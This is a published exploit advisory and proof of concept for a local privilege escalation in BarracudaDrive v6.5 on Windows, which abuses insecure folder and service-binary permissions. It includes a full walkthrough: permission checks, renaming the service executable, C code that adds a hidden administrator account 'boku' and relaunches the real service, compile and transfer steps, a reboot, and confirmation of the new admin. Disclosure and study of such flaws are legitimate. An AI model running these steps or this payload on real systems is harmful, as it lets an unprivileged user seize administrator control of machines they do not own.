# Exploit Title: BarracudaDrive v6.5 - Insecure Folder Permissions # Exploit Author: Bobby Cooke (boku) & Adeeb Shah (@hyd3sec) # CVE ID: N/A # Date: 2020-09-01 # Vendor Homepage: https://barracudaserver.com/ # Software Link: https://download.cnet.com/BarracudaDrive/3001-18506_4-10723210.html # Version: v6.5 # Tested On: Windows 10 Pro # CVSS Base Score: 8.8 | Impact Subscore: 6.0 | Exploitability Subscore: 2.0 # CVSS Vector: AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H # CWE-276: Incorrect Default Permissions # CWE-732: Incorrect Permission Assignment for Critical Resource # Vulnerability Description: # Insecure Service File Permissions in bd service in Real Time Logics BarracudaDrive v6.5 # allows local low-privilege attacker to escalate privileges to admin via replacing the bd.exe # file and restarting the computer where the malicious code will be executed as 'LocalSystem' # on the next startup. ## Insecure Folder Permission C:\>cacls C:\bd C:\bd BUILTIN\Administrators:(OI)(CI)(ID)F NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F BUILTIN\Users:(OI)(CI)(ID)R NT AUTHORITY\Authenticated Users:(ID)C NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C ## Insecure File/Service Permission C:\>cacls C:\bd\bd.exe C:\bd\bd.exe BUILTIN\Administrators:(ID)F NT AUTHORITY\SYSTEM:(ID)F BUILTIN\Users:(ID)R NT AUTHORITY\Authenticated Users:(ID)C C:\>sc qc bd [SC] QueryServiceConfig SUCCESS SERVICE_NAME: bd TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\bd\bd.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : BarracudaDrive ( bd ) service DEPENDENCIES : Tcpip SERVICE_START_NAME : LocalSystem ## Local Privilege Escalation Proof of Concept #0. Download & install #1. Create low privileged user & change to the user ## As admin C:\>net user lowpriv Password123! /add C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full" User name lowpriv Local Group Memberships *Users Global Group memberships *None #2. Move the Service EXE to a new name C:\bd>whoami desktop\lowpriv C:\bd>move bd.exe bd.service.exe 1 file(s) moved. #3. Create malicious binary on kali linux ## Add Admin User C Code kali# cat addAdmin.c int main(void){ system("net user boku mypassword /add"); system("net localgroup Administrators boku /add"); WinExec("C:\\bd\\bd.service.exe",0); return 0; } ## Compile Code kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o bd.exe #4. Transfer created 'bd.exe' to the Windows Host #5. Move the created 'bd.exe' binary to the 'C:\bd\' Folder C:\bd>move C:\Users\lowpriv\Downloads\bd.exe . #6. Check that exploit admin user doesn't exit C:\bd>net user boku The user name could not be found #6. Reboot the Computer C:\bd>shutdown /r #7. Login & look at that new Admin C:\Users\lowpriv>net user boku | findstr /i "Membership Name" | findstr /v "Full" User name boku Local Group Memberships *Administrators *Users Global Group memberships *None